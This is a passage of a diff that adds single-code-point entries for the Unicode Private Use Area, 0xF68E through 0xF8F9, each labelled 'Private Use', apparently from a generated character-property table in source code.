+ [0xf68e, 0xf68e], /* Private Use */
+ [0xf68f, 0xf68f], /* Private Use */
+ [0xf690, 0xf690], /* Private Use */
+ [0xf691, 0xf691], /* Private Use */
+ [0xf692, 0xf692], /* Private Use */
+ [0xf693, 0xf693], /* Private Use */
+ [0xf694, 0xf694], /* Private Use */
+ [0xf695, 0xf695], /* Private Use */
+ [0xf696, 0xf696], /* Private Use */
+ [0xf697, 0xf697], /* Private Use */
+ [0xf698, 0xf698], /* Private Use */
+ [0xf699, 0xf699], /* Private Use */
+ [0xf69a, 0xf69a], /* Private Use */
+ [0xf69b, 0xf69b], /* Private Use */
+ [0xf69c, 0xf69c], /* Private Use */
+ [0xf69d, 0xf69d], /* Private Use */
+ [0xf69e, 0xf69e], /* Private Use */
+ [0xf69f, 0xf69f], /* Private Use */
+ [0xf6a0, 0xf6a0], /* Private Use */
+ [0xf6a1, 0xf6a1], /* Private Use */
+ [0xf6a2, 0xf6a2], /* Private Use */
+ [0xf6a3, 0xf6a3], /* Private Use */
+ [0xf6a4, 0xf6a4], /* Private Use */
+ [0xf6a5, 0xf6a5], /* Private Use */
+ [0xf6a6, 0xf6a6], /* Private Use */
+ [0xf6a7, 0xf6a7], /* Private Use */
+ [0xf6a8, 0xf6a8], /* Private Use */
+ [0xf6a9, 0xf6a9], /* Private Use */
+ [0xf6aa, 0xf6aa], /* Private Use */
+ [0xf6ab, 0xf6ab], /* Private Use */
+ [0xf6ac, 0xf6ac], /* Private Use */
+ [0xf6ad, 0xf6ad], /* Private Use */
+ [0xf6ae, 0xf6ae], /* Private Use */
+ [0xf6af, 0xf6af], /* Private Use */
+ [0xf6b0, 0xf6b0], /* Private Use */
+ [0xf6b1, 0xf6b1], /* Private Use */
+ [0xf6b2, 0xf6b2], /* Private Use */
+ [0xf6b3, 0xf6b3], /* Private Use */
+ [0xf6b4, 0xf6b4], /* Private Use */
+ [0xf6b5, 0xf6b5], /* Private Use */
+ [0xf6b6, 0xf6b6], /* Private Use */
+ [0xf6b7, 0xf6b7], /* Private Use */
+ [0xf6b8, 0xf6b8], /* Private Use */
+ [0xf6b9, 0xf6b9], /* Private Use */
+ [0xf6ba, 0xf6ba], /* Private Use */
+ [0xf6bb, 0xf6bb], /* Private Use */
+ [0xf6bc, 0xf6bc], /* Private Use */
+ [0xf6bd, 0xf6bd], /* Private Use */
+ [0xf6be, 0xf6be], /* Private Use */
+ [0xf6bf, 0xf6bf], /* Private Use */
+ [0xf6c0, 0xf6c0], /* Private Use */
+ [0xf6c1, 0xf6c1], /* Private Use */
+ [0xf6c2, 0xf6c2], /* Private Use */
+ [0xf6c3, 0xf6c3], /* Private Use */
+ [0xf6c4, 0xf6c4], /* Private Use */
+ [0xf6c5, 0xf6c5], /* Private Use */
+ [0xf6c6, 0xf6c6], /* Private Use */
+ [0xf6c7, 0xf6c7], /* Private Use */
+ [0xf6c8, 0xf6c8], /* Private Use */
+ [0xf6c9, 0xf6c9], /* Private Use */
+ [0xf6ca, 0xf6ca], /* Private Use */
+ [0xf6cb, 0xf6cb], /* Private Use */
+ [0xf6cc, 0xf6cc], /* Private Use */
+ [0xf6cd, 0xf6cd], /* Private Use */
+ [0xf6ce, 0xf6ce], /* Private Use */
+ [0xf6cf, 0xf6cf], /* Private Use */
+ [0xf6d0, 0xf6d0], /* Private Use */
+ [0xf6d1, 0xf6d1], /* Private Use */
+ [0xf6d2, 0xf6d2], /* Private Use */
+ [0xf6d3, 0xf6d3], /* Private Use */
+ [0xf6d4, 0xf6d4], /* Private Use */
+ [0xf6d5, 0xf6d5], /* Private Use */
+ [0xf6d6, 0xf6d6], /* Private Use */
+ [0xf6d7, 0xf6d7], /* Private Use */
+ [0xf6d8, 0xf6d8], /* Private Use */
+ [0xf6d9, 0xf6d9], /* Private Use */
+ [0xf6da, 0xf6da], /* Private Use */
+ [0xf6db, 0xf6db], /* Private Use */
+ [0xf6dc, 0xf6dc], /* Private Use */
+ [0xf6dd, 0xf6dd], /* Private Use */
+ [0xf6de, 0xf6de], /* Private Use */
+ [0xf6df, 0xf6df], /* Private Use */
+ [0xf6e0, 0xf6e0], /* Private Use */
+ [0xf6e1, 0xf6e1], /* Private Use */
+ [0xf6e2, 0xf6e2], /* Private Use */
+ [0xf6e3, 0xf6e3], /* Private Use */
+ [0xf6e4, 0xf6e4], /* Private Use */
+ [0xf6e5, 0xf6e5], /* Private Use */
+ [0xf6e6, 0xf6e6], /* Private Use */
+ [0xf6e7, 0xf6e7], /* Private Use */
+ [0xf6e8, 0xf6e8], /* Private Use */
+ [0xf6e9, 0xf6e9], /* Private Use */
+ [0xf6ea, 0xf6ea], /* Private Use */
+ [0xf6eb, 0xf6eb], /* Private Use */
+ [0xf6ec, 0xf6ec], /* Private Use */
+ [0xf6ed, 0xf6ed], /* Private Use */
+ [0xf6ee, 0xf6ee], /* Private Use */
+ [0xf6ef, 0xf6ef], /* Private Use */
+ [0xf6f0, 0xf6f0], /* Private Use */
+ [0xf6f1, 0xf6f1], /* Private Use */
+ [0xf6f2, 0xf6f2], /* Private Use */
+ [0xf6f3, 0xf6f3], /* Private Use */
+ [0xf6f4, 0xf6f4], /* Private Use */
+ [0xf6f5, 0xf6f5], /* Private Use */
+ [0xf6f6, 0xf6f6], /* Private Use */
+ [0xf6f7, 0xf6f7], /* Private Use */
+ [0xf6f8, 0xf6f8], /* Private Use */
+ [0xf6f9, 0xf6f9], /* Private Use */
+ [0xf6fa, 0xf6fa], /* Private Use */
+ [0xf6fb, 0xf6fb], /* Private Use */
+ [0xf6fc, 0xf6fc], /* Private Use */
+ [0xf6fd, 0xf6fd], /* Private Use */
+ [0xf6fe, 0xf6fe], /* Private Use */
+ [0xf6ff, 0xf6ff], /* Private Use */
+ [0xf700, 0xf700], /* Private Use */
+ [0xf701, 0xf701], /* Private Use */
+ [0xf702, 0xf702], /* Private Use */
+ [0xf703, 0xf703], /* Private Use */
+ [0xf704, 0xf704], /* Private Use */
+ [0xf705, 0xf705], /* Private Use */
+ [0xf706, 0xf706], /* Private Use */
+ [0xf707, 0xf707], /* Private Use */
+ [0xf708, 0xf708], /* Private Use */
+ [0xf709, 0xf709], /* Private Use */
+ [0xf70a, 0xf70a], /* Private Use */
+ [0xf70b, 0xf70b], /* Private Use */
+ [0xf70c, 0xf70c], /* Private Use */
+ [0xf70d, 0xf70d], /* Private Use */
+ [0xf70e, 0xf70e], /* Private Use */
+ [0xf70f, 0xf70f], /* Private Use */
+ [0xf710, 0xf710], /* Private Use */
+ [0xf711, 0xf711], /* Private Use */
+ [0xf712, 0xf712], /* Private Use */
+ [0xf713, 0xf713], /* Private Use */
+ [0xf714, 0xf714], /* Private Use */
+ [0xf715, 0xf715], /* Private Use */
+ [0xf716, 0xf716], /* Private Use */
+ [0xf717, 0xf717], /* Private Use */
+ [0xf718, 0xf718], /* Private Use */
+ [0xf719, 0xf719], /* Private Use */
+ [0xf71a, 0xf71a], /* Private Use */
+ [0xf71b, 0xf71b], /* Private Use */
+ [0xf71c, 0xf71c], /* Private Use */
+ [0xf71d, 0xf71d], /* Private Use */
+ [0xf71e, 0xf71e], /* Private Use */
+ [0xf71f, 0xf71f], /* Private Use */
+ [0xf720, 0xf720], /* Private Use */
+ [0xf721, 0xf721], /* Private Use */
+ [0xf722, 0xf722], /* Private Use */
+ [0xf723, 0xf723], /* Private Use */
+ [0xf724, 0xf724], /* Private Use */
+ [0xf725, 0xf725], /* Private Use */
+ [0xf726, 0xf726], /* Private Use */
+ [0xf727, 0xf727], /* Private Use */
+ [0xf728, 0xf728], /* Private Use */
+ [0xf729, 0xf729], /* Private Use */
+ [0xf72a, 0xf72a], /* Private Use */
+ [0xf72b, 0xf72b], /* Private Use */
+ [0xf72c, 0xf72c], /* Private Use */
+ [0xf72d, 0xf72d], /* Private Use */
+ [0xf72e, 0xf72e], /* Private Use */
+ [0xf72f, 0xf72f], /* Private Use */
+ [0xf730, 0xf730], /* Private Use */
+ [0xf731, 0xf731], /* Private Use */
+ [0xf732, 0xf732], /* Private Use */
+ [0xf733, 0xf733], /* Private Use */
+ [0xf734, 0xf734], /* Private Use */
+ [0xf735, 0xf735], /* Private Use */
+ [0xf736, 0xf736], /* Private Use */
+ [0xf737, 0xf737], /* Private Use */
+ [0xf738, 0xf738], /* Private Use */
+ [0xf739, 0xf739], /* Private Use */
+ [0xf73a, 0xf73a], /* Private Use */
+ [0xf73b, 0xf73b], /* Private Use */
+ [0xf73c, 0xf73c], /* Private Use */
+ [0xf73d, 0xf73d], /* Private Use */
+ [0xf73e, 0xf73e], /* Private Use */
+ [0xf73f, 0xf73f], /* Private Use */
+ [0xf740, 0xf740], /* Private Use */
+ [0xf741, 0xf741], /* Private Use */
+ [0xf742, 0xf742], /* Private Use */
+ [0xf743, 0xf743], /* Private Use */
+ [0xf744, 0xf744], /* Private Use */
+ [0xf745, 0xf745], /* Private Use */
+ [0xf746, 0xf746], /* Private Use */
+ [0xf747, 0xf747], /* Private Use */
+ [0xf748, 0xf748], /* Private Use */
+ [0xf749, 0xf749], /* Private Use */
+ [0xf74a, 0xf74a], /* Private Use */
+ [0xf74b, 0xf74b], /* Private Use */
+ [0xf74c, 0xf74c], /* Private Use */
+ [0xf74d, 0xf74d], /* Private Use */
+ [0xf74e, 0xf74e], /* Private Use */
+ [0xf74f, 0xf74f], /* Private Use */
+ [0xf750, 0xf750], /* Private Use */
+ [0xf751, 0xf751], /* Private Use */
+ [0xf752, 0xf752], /* Private Use */
+ [0xf753, 0xf753], /* Private Use */
+ [0xf754, 0xf754], /* Private Use */
+ [0xf755, 0xf755], /* Private Use */
+ [0xf756, 0xf756], /* Private Use */
+ [0xf757, 0xf757], /* Private Use */
+ [0xf758, 0xf758], /* Private Use */
+ [0xf759, 0xf759], /* Private Use */
+ [0xf75a, 0xf75a], /* Private Use */
+ [0xf75b, 0xf75b], /* Private Use */
+ [0xf75c, 0xf75c], /* Private Use */
+ [0xf75d, 0xf75d], /* Private Use */
+ [0xf75e, 0xf75e], /* Private Use */
+ [0xf75f, 0xf75f], /* Private Use */
+ [0xf760, 0xf760], /* Private Use */
+ [0xf761, 0xf761], /* Private Use */
+ [0xf762, 0xf762], /* Private Use */
+ [0xf763, 0xf763], /* Private Use */
+ [0xf764, 0xf764], /* Private Use */
+ [0xf765, 0xf765], /* Private Use */
+ [0xf766, 0xf766], /* Private Use */
+ [0xf767, 0xf767], /* Private Use */
+ [0xf768, 0xf768], /* Private Use */
+ [0xf769, 0xf769], /* Private Use */
+ [0xf76a, 0xf76a], /* Private Use */
+ [0xf76b, 0xf76b], /* Private Use */
+ [0xf76c, 0xf76c], /* Private Use */
+ [0xf76d, 0xf76d], /* Private Use */
+ [0xf76e, 0xf76e], /* Private Use */
+ [0xf76f, 0xf76f], /* Private Use */
+ [0xf770, 0xf770], /* Private Use */
+ [0xf771, 0xf771], /* Private Use */
+ [0xf772, 0xf772], /* Private Use */
+ [0xf773, 0xf773], /* Private Use */
+ [0xf774, 0xf774], /* Private Use */
+ [0xf775, 0xf775], /* Private Use */
+ [0xf776, 0xf776], /* Private Use */
+ [0xf777, 0xf777], /* Private Use */
+ [0xf778, 0xf778], /* Private Use */
+ [0xf779, 0xf779], /* Private Use */
+ [0xf77a, 0xf77a], /* Private Use */
+ [0xf77b, 0xf77b], /* Private Use */
+ [0xf77c, 0xf77c], /* Private Use */
+ [0xf77d, 0xf77d], /* Private Use */
+ [0xf77e, 0xf77e], /* Private Use */
+ [0xf77f, 0xf77f], /* Private Use */
+ [0xf780, 0xf780], /* Private Use */
+ [0xf781, 0xf781], /* Private Use */
+ [0xf782, 0xf782], /* Private Use */
+ [0xf783, 0xf783], /* Private Use */
+ [0xf784, 0xf784], /* Private Use */
+ [0xf785, 0xf785], /* Private Use */
+ [0xf786, 0xf786], /* Private Use */
+ [0xf787, 0xf787], /* Private Use */
+ [0xf788, 0xf788], /* Private Use */
+ [0xf789, 0xf789], /* Private Use */
+ [0xf78a, 0xf78a], /* Private Use */
+ [0xf78b, 0xf78b], /* Private Use */
+ [0xf78c, 0xf78c], /* Private Use */
+ [0xf78d, 0xf78d], /* Private Use */
+ [0xf78e, 0xf78e], /* Private Use */
+ [0xf78f, 0xf78f], /* Private Use */
+ [0xf790, 0xf790], /* Private Use */
+ [0xf791, 0xf791], /* Private Use */
+ [0xf792, 0xf792], /* Private Use */
+ [0xf793, 0xf793], /* Private Use */
+ [0xf794, 0xf794], /* Private Use */
+ [0xf795, 0xf795], /* Private Use */
+ [0xf796, 0xf796], /* Private Use */
+ [0xf797, 0xf797], /* Private Use */
+ [0xf798, 0xf798], /* Private Use */
+ [0xf799, 0xf799], /* Private Use */
+ [0xf79a, 0xf79a], /* Private Use */
+ [0xf79b, 0xf79b], /* Private Use */
+ [0xf79c, 0xf79c], /* Private Use */
+ [0xf79d, 0xf79d], /* Private Use */
+ [0xf79e, 0xf79e], /* Private Use */
+ [0xf79f, 0xf79f], /* Private Use */
+ [0xf7a0, 0xf7a0], /* Private Use */
+ [0xf7a1, 0xf7a1], /* Private Use */
+ [0xf7a2, 0xf7a2], /* Private Use */
+ [0xf7a3, 0xf7a3], /* Private Use */
+ [0xf7a4, 0xf7a4], /* Private Use */
+ [0xf7a5, 0xf7a5], /* Private Use */
+ [0xf7a6, 0xf7a6], /* Private Use */
+ [0xf7a7, 0xf7a7], /* Private Use */
+ [0xf7a8, 0xf7a8], /* Private Use */
+ [0xf7a9, 0xf7a9], /* Private Use */
+ [0xf7aa, 0xf7aa], /* Private Use */
+ [0xf7ab, 0xf7ab], /* Private Use */
+ [0xf7ac, 0xf7ac], /* Private Use */
+ [0xf7ad, 0xf7ad], /* Private Use */
+ [0xf7ae, 0xf7ae], /* Private Use */
+ [0xf7af, 0xf7af], /* Private Use */
+ [0xf7b0, 0xf7b0], /* Private Use */
+ [0xf7b1, 0xf7b1], /* Private Use */
+ [0xf7b2, 0xf7b2], /* Private Use */
+ [0xf7b3, 0xf7b3], /* Private Use */
+ [0xf7b4, 0xf7b4], /* Private Use */
+ [0xf7b5, 0xf7b5], /* Private Use */
+ [0xf7b6, 0xf7b6], /* Private Use */
+ [0xf7b7, 0xf7b7], /* Private Use */
+ [0xf7b8, 0xf7b8], /* Private Use */
+ [0xf7b9, 0xf7b9], /* Private Use */
+ [0xf7ba, 0xf7ba], /* Private Use */
+ [0xf7bb, 0xf7bb], /* Private Use */
+ [0xf7bc, 0xf7bc], /* Private Use */
+ [0xf7bd, 0xf7bd], /* Private Use */
+ [0xf7be, 0xf7be], /* Private Use */
+ [0xf7bf, 0xf7bf], /* Private Use */
+ [0xf7c0, 0xf7c0], /* Private Use */
+ [0xf7c1, 0xf7c1], /* Private Use */
+ [0xf7c2, 0xf7c2], /* Private Use */
+ [0xf7c3, 0xf7c3], /* Private Use */
+ [0xf7c4, 0xf7c4], /* Private Use */
+ [0xf7c5, 0xf7c5], /* Private Use */
+ [0xf7c6, 0xf7c6], /* Private Use */
+ [0xf7c7, 0xf7c7], /* Private Use */
+ [0xf7c8, 0xf7c8], /* Private Use */
+ [0xf7c9, 0xf7c9], /* Private Use */
+ [0xf7ca, 0xf7ca], /* Private Use */
+ [0xf7cb, 0xf7cb], /* Private Use */
+ [0xf7cc, 0xf7cc], /* Private Use */
+ [0xf7cd, 0xf7cd], /* Private Use */
+ [0xf7ce, 0xf7ce], /* Private Use */
+ [0xf7cf, 0xf7cf], /* Private Use */
+ [0xf7d0, 0xf7d0], /* Private Use */
+ [0xf7d1, 0xf7d1], /* Private Use */
+ [0xf7d2, 0xf7d2], /* Private Use */
+ [0xf7d3, 0xf7d3], /* Private Use */
+ [0xf7d4, 0xf7d4], /* Private Use */
+ [0xf7d5, 0xf7d5], /* Private Use */
+ [0xf7d6, 0xf7d6], /* Private Use */
+ [0xf7d7, 0xf7d7], /* Private Use */
+ [0xf7d8, 0xf7d8], /* Private Use */
+ [0xf7d9, 0xf7d9], /* Private Use */
+ [0xf7da, 0xf7da], /* Private Use */
+ [0xf7db, 0xf7db], /* Private Use */
+ [0xf7dc, 0xf7dc], /* Private Use */
+ [0xf7dd, 0xf7dd], /* Private Use */
+ [0xf7de, 0xf7de], /* Private Use */
+ [0xf7df, 0xf7df], /* Private Use */
+ [0xf7e0, 0xf7e0], /* Private Use */
+ [0xf7e1, 0xf7e1], /* Private Use */
+ [0xf7e2, 0xf7e2], /* Private Use */
+ [0xf7e3, 0xf7e3], /* Private Use */
+ [0xf7e4, 0xf7e4], /* Private Use */
+ [0xf7e5, 0xf7e5], /* Private Use */
+ [0xf7e6, 0xf7e6], /* Private Use */
+ [0xf7e7, 0xf7e7], /* Private Use */
+ [0xf7e8, 0xf7e8], /* Private Use */
+ [0xf7e9, 0xf7e9], /* Private Use */
+ [0xf7ea, 0xf7ea], /* Private Use */
+ [0xf7eb, 0xf7eb], /* Private Use */
+ [0xf7ec, 0xf7ec], /* Private Use */
+ [0xf7ed, 0xf7ed], /* Private Use */
+ [0xf7ee, 0xf7ee], /* Private Use */
+ [0xf7ef, 0xf7ef], /* Private Use */
+ [0xf7f0, 0xf7f0], /* Private Use */
+ [0xf7f1, 0xf7f1], /* Private Use */
+ [0xf7f2, 0xf7f2], /* Private Use */
+ [0xf7f3, 0xf7f3], /* Private Use */
+ [0xf7f4, 0xf7f4], /* Private Use */
+ [0xf7f5, 0xf7f5], /* Private Use */
+ [0xf7f6, 0xf7f6], /* Private Use */
+ [0xf7f7, 0xf7f7], /* Private Use */
+ [0xf7f8, 0xf7f8], /* Private Use */
+ [0xf7f9, 0xf7f9], /* Private Use */
+ [0xf7fa, 0xf7fa], /* Private Use */
+ [0xf7fb, 0xf7fb], /* Private Use */
+ [0xf7fc, 0xf7fc], /* Private Use */
+ [0xf7fd, 0xf7fd], /* Private Use */
+ [0xf7fe, 0xf7fe], /* Private Use */
+ [0xf7ff, 0xf7ff], /* Private Use */
+ [0xf800, 0xf800], /* Private Use */
+ [0xf801, 0xf801], /* Private Use */
+ [0xf802, 0xf802], /* Private Use */
+ [0xf803, 0xf803], /* Private Use */
+ [0xf804, 0xf804], /* Private Use */
+ [0xf805, 0xf805], /* Private Use */
+ [0xf806, 0xf806], /* Private Use */
+ [0xf807, 0xf807], /* Private Use */
+ [0xf808, 0xf808], /* Private Use */
+ [0xf809, 0xf809], /* Private Use */
+ [0xf80a, 0xf80a], /* Private Use */
+ [0xf80b, 0xf80b], /* Private Use */
+ [0xf80c, 0xf80c], /* Private Use */
+ [0xf80d, 0xf80d], /* Private Use */
+ [0xf80e, 0xf80e], /* Private Use */
+ [0xf80f, 0xf80f], /* Private Use */
+ [0xf810, 0xf810], /* Private Use */
+ [0xf811, 0xf811], /* Private Use */
+ [0xf812, 0xf812], /* Private Use */
+ [0xf813, 0xf813], /* Private Use */
+ [0xf814, 0xf814], /* Private Use */
+ [0xf815, 0xf815], /* Private Use */
+ [0xf816, 0xf816], /* Private Use */
+ [0xf817, 0xf817], /* Private Use */
+ [0xf818, 0xf818], /* Private Use */
+ [0xf819, 0xf819], /* Private Use */
+ [0xf81a, 0xf81a], /* Private Use */
+ [0xf81b, 0xf81b], /* Private Use */
+ [0xf81c, 0xf81c], /* Private Use */
+ [0xf81d, 0xf81d], /* Private Use */
+ [0xf81e, 0xf81e], /* Private Use */
+ [0xf81f, 0xf81f], /* Private Use */
+ [0xf820, 0xf820], /* Private Use */
+ [0xf821, 0xf821], /* Private Use */
+ [0xf822, 0xf822], /* Private Use */
+ [0xf823, 0xf823], /* Private Use */
+ [0xf824, 0xf824], /* Private Use */
+ [0xf825, 0xf825], /* Private Use */
+ [0xf826, 0xf826], /* Private Use */
+ [0xf827, 0xf827], /* Private Use */
+ [0xf828, 0xf828], /* Private Use */
+ [0xf829, 0xf829], /* Private Use */
+ [0xf82a, 0xf82a], /* Private Use */
+ [0xf82b, 0xf82b], /* Private Use */
+ [0xf82c, 0xf82c], /* Private Use */
+ [0xf82d, 0xf82d], /* Private Use */
+ [0xf82e, 0xf82e], /* Private Use */
+ [0xf82f, 0xf82f], /* Private Use */
+ [0xf830, 0xf830], /* Private Use */
+ [0xf831, 0xf831], /* Private Use */
+ [0xf832, 0xf832], /* Private Use */
+ [0xf833, 0xf833], /* Private Use */
+ [0xf834, 0xf834], /* Private Use */
+ [0xf835, 0xf835], /* Private Use */
+ [0xf836, 0xf836], /* Private Use */
+ [0xf837, 0xf837], /* Private Use */
+ [0xf838, 0xf838], /* Private Use */
+ [0xf839, 0xf839], /* Private Use */
+ [0xf83a, 0xf83a], /* Private Use */
+ [0xf83b, 0xf83b], /* Private Use */
+ [0xf83c, 0xf83c], /* Private Use */
+ [0xf83d, 0xf83d], /* Private Use */
+ [0xf83e, 0xf83e], /* Private Use */
+ [0xf83f, 0xf83f], /* Private Use */
+ [0xf840, 0xf840], /* Private Use */
+ [0xf841, 0xf841], /* Private Use */
+ [0xf842, 0xf842], /* Private Use */
+ [0xf843, 0xf843], /* Private Use */
+ [0xf844, 0xf844], /* Private Use */
+ [0xf845, 0xf845], /* Private Use */
+ [0xf846, 0xf846], /* Private Use */
+ [0xf847, 0xf847], /* Private Use */
+ [0xf848, 0xf848], /* Private Use */
+ [0xf849, 0xf849], /* Private Use */
+ [0xf84a, 0xf84a], /* Private Use */
+ [0xf84b, 0xf84b], /* Private Use */
+ [0xf84c, 0xf84c], /* Private Use */
+ [0xf84d, 0xf84d], /* Private Use */
+ [0xf84e, 0xf84e], /* Private Use */
+ [0xf84f, 0xf84f], /* Private Use */
+ [0xf850, 0xf850], /* Private Use */
+ [0xf851, 0xf851], /* Private Use */
+ [0xf852, 0xf852], /* Private Use */
+ [0xf853, 0xf853], /* Private Use */
+ [0xf854, 0xf854], /* Private Use */
+ [0xf855, 0xf855], /* Private Use */
+ [0xf856, 0xf856], /* Private Use */
+ [0xf857, 0xf857], /* Private Use */
+ [0xf858, 0xf858], /* Private Use */
+ [0xf859, 0xf859], /* Private Use */
+ [0xf85a, 0xf85a], /* Private Use */
+ [0xf85b, 0xf85b], /* Private Use */
+ [0xf85c, 0xf85c], /* Private Use */
+ [0xf85d, 0xf85d], /* Private Use */
+ [0xf85e, 0xf85e], /* Private Use */
+ [0xf85f, 0xf85f], /* Private Use */
+ [0xf860, 0xf860], /* Private Use */
+ [0xf861, 0xf861], /* Private Use */
+ [0xf862, 0xf862], /* Private Use */
+ [0xf863, 0xf863], /* Private Use */
+ [0xf864, 0xf864], /* Private Use */
+ [0xf865, 0xf865], /* Private Use */
+ [0xf866, 0xf866], /* Private Use */
+ [0xf867, 0xf867], /* Private Use */
+ [0xf868, 0xf868], /* Private Use */
+ [0xf869, 0xf869], /* Private Use */
+ [0xf86a, 0xf86a], /* Private Use */
+ [0xf86b, 0xf86b], /* Private Use */
+ [0xf86c, 0xf86c], /* Private Use */
+ [0xf86d, 0xf86d], /* Private Use */
+ [0xf86e, 0xf86e], /* Private Use */
+ [0xf86f, 0xf86f], /* Private Use */
+ [0xf870, 0xf870], /* Private Use */
+ [0xf871, 0xf871], /* Private Use */
+ [0xf872, 0xf872], /* Private Use */
+ [0xf873, 0xf873], /* Private Use */
+ [0xf874, 0xf874], /* Private Use */
+ [0xf875, 0xf875], /* Private Use */
+ [0xf876, 0xf876], /* Private Use */
+ [0xf877, 0xf877], /* Private Use */
+ [0xf878, 0xf878], /* Private Use */
+ [0xf879, 0xf879], /* Private Use */
+ [0xf87a, 0xf87a], /* Private Use */
+ [0xf87b, 0xf87b], /* Private Use */
+ [0xf87c, 0xf87c], /* Private Use */
+ [0xf87d, 0xf87d], /* Private Use */
+ [0xf87e, 0xf87e], /* Private Use */
+ [0xf87f, 0xf87f], /* Private Use */
+ [0xf880, 0xf880], /* Private Use */
+ [0xf881, 0xf881], /* Private Use */
+ [0xf882, 0xf882], /* Private Use */
+ [0xf883, 0xf883], /* Private Use */
+ [0xf884, 0xf884], /* Private Use */
+ [0xf885, 0xf885], /* Private Use */
+ [0xf886, 0xf886], /* Private Use */
+ [0xf887, 0xf887], /* Private Use */
+ [0xf888, 0xf888], /* Private Use */
+ [0xf889, 0xf889], /* Private Use */
+ [0xf88a, 0xf88a], /* Private Use */
+ [0xf88b, 0xf88b], /* Private Use */
+ [0xf88c, 0xf88c], /* Private Use */
+ [0xf88d, 0xf88d], /* Private Use */
+ [0xf88e, 0xf88e], /* Private Use */
+ [0xf88f, 0xf88f], /* Private Use */
+ [0xf890, 0xf890], /* Private Use */
+ [0xf891, 0xf891], /* Private Use */
+ [0xf892, 0xf892], /* Private Use */
+ [0xf893, 0xf893], /* Private Use */
+ [0xf894, 0xf894], /* Private Use */
+ [0xf895, 0xf895], /* Private Use */
+ [0xf896, 0xf896], /* Private Use */
+ [0xf897, 0xf897], /* Private Use */
+ [0xf898, 0xf898], /* Private Use */
+ [0xf899, 0xf899], /* Private Use */
+ [0xf89a, 0xf89a], /* Private Use */
+ [0xf89b, 0xf89b], /* Private Use */
+ [0xf89c, 0xf89c], /* Private Use */
+ [0xf89d, 0xf89d], /* Private Use */
+ [0xf89e, 0xf89e], /* Private Use */
+ [0xf89f, 0xf89f], /* Private Use */
+ [0xf8a0, 0xf8a0], /* Private Use */
+ [0xf8a1, 0xf8a1], /* Private Use */
+ [0xf8a2, 0xf8a2], /* Private Use */
+ [0xf8a3, 0xf8a3], /* Private Use */
+ [0xf8a4, 0xf8a4], /* Private Use */
+ [0xf8a5, 0xf8a5], /* Private Use */
+ [0xf8a6, 0xf8a6], /* Private Use */
+ [0xf8a7, 0xf8a7], /* Private Use */
+ [0xf8a8, 0xf8a8], /* Private Use */
+ [0xf8a9, 0xf8a9], /* Private Use */
+ [0xf8aa, 0xf8aa], /* Private Use */
+ [0xf8ab, 0xf8ab], /* Private Use */
+ [0xf8ac, 0xf8ac], /* Private Use */
+ [0xf8ad, 0xf8ad], /* Private Use */
+ [0xf8ae, 0xf8ae], /* Private Use */
+ [0xf8af, 0xf8af], /* Private Use */
+ [0xf8b0, 0xf8b0], /* Private Use */
+ [0xf8b1, 0xf8b1], /* Private Use */
+ [0xf8b2, 0xf8b2], /* Private Use */
+ [0xf8b3, 0xf8b3], /* Private Use */
+ [0xf8b4, 0xf8b4], /* Private Use */
+ [0xf8b5, 0xf8b5], /* Private Use */
+ [0xf8b6, 0xf8b6], /* Private Use */
+ [0xf8b7, 0xf8b7], /* Private Use */
+ [0xf8b8, 0xf8b8], /* Private Use */
+ [0xf8b9, 0xf8b9], /* Private Use */
+ [0xf8ba, 0xf8ba], /* Private Use */
+ [0xf8bb, 0xf8bb], /* Private Use */
+ [0xf8bc, 0xf8bc], /* Private Use */
+ [0xf8bd, 0xf8bd], /* Private Use */
+ [0xf8be, 0xf8be], /* Private Use */
+ [0xf8bf, 0xf8bf], /* Private Use */
+ [0xf8c0, 0xf8c0], /* Private Use */
+ [0xf8c1, 0xf8c1], /* Private Use */
+ [0xf8c2, 0xf8c2], /* Private Use */
+ [0xf8c3, 0xf8c3], /* Private Use */
+ [0xf8c4, 0xf8c4], /* Private Use */
+ [0xf8c5, 0xf8c5], /* Private Use */
+ [0xf8c6, 0xf8c6], /* Private Use */
+ [0xf8c7, 0xf8c7], /* Private Use */
+ [0xf8c8, 0xf8c8], /* Private Use */
+ [0xf8c9, 0xf8c9], /* Private Use */
+ [0xf8ca, 0xf8ca], /* Private Use */
+ [0xf8cb, 0xf8cb], /* Private Use */
+ [0xf8cc, 0xf8cc], /* Private Use */
+ [0xf8cd, 0xf8cd], /* Private Use */
+ [0xf8ce, 0xf8ce], /* Private Use */
+ [0xf8cf, 0xf8cf], /* Private Use */
+ [0xf8d0, 0xf8d0], /* Private Use */
+ [0xf8d1, 0xf8d1], /* Private Use */
+ [0xf8d2, 0xf8d2], /* Private Use */
+ [0xf8d3, 0xf8d3], /* Private Use */
+ [0xf8d4, 0xf8d4], /* Private Use */
+ [0xf8d5, 0xf8d5], /* Private Use */
+ [0xf8d6, 0xf8d6], /* Private Use */
+ [0xf8d7, 0xf8d7], /* Private Use */
+ [0xf8d8, 0xf8d8], /* Private Use */
+ [0xf8d9, 0xf8d9], /* Private Use */
+ [0xf8da, 0xf8da], /* Private Use */
+ [0xf8db, 0xf8db], /* Private Use */
+ [0xf8dc, 0xf8dc], /* Private Use */
+ [0xf8dd, 0xf8dd], /* Private Use */
+ [0xf8de, 0xf8de], /* Private Use */
+ [0xf8df, 0xf8df], /* Private Use */
+ [0xf8e0, 0xf8e0], /* Private Use */
+ [0xf8e1, 0xf8e1], /* Private Use */
+ [0xf8e2, 0xf8e2], /* Private Use */
+ [0xf8e3, 0xf8e3], /* Private Use */
+ [0xf8e4, 0xf8e4], /* Private Use */
+ [0xf8e5, 0xf8e5], /* Private Use */
+ [0xf8e6, 0xf8e6], /* Private Use */
+ [0xf8e7, 0xf8e7], /* Private Use */
+ [0xf8e8, 0xf8e8], /* Private Use */
+ [0xf8e9, 0xf8e9], /* Private Use */
+ [0xf8ea, 0xf8ea], /* Private Use */
+ [0xf8eb, 0xf8eb], /* Private Use */
+ [0xf8ec, 0xf8ec], /* Private Use */
+ [0xf8ed, 0xf8ed], /* Private Use */
+ [0xf8ee, 0xf8ee], /* Private Use */
+ [0xf8ef, 0xf8ef], /* Private Use */
+ [0xf8f0, 0xf8f0], /* Private Use */
+ [0xf8f1, 0xf8f1], /* Private Use */
+ [0xf8f2, 0xf8f2], /* Private Use */
+ [0xf8f3, 0xf8f3], /* Private Use */
+ [0xf8f4, 0xf8f4], /* Private Use */
+ [0xf8f5, 0xf8f5], /* Private Use */
+ [0xf8f6, 0xf8f6], /* Private Use */
+ [0xf8f7, 0xf8f7], /* Private Use */
+ [0xf8f8, 0xf8f8], /* Private Use */
+ [0xf8f9, 0xf8f9], /* Private Use */
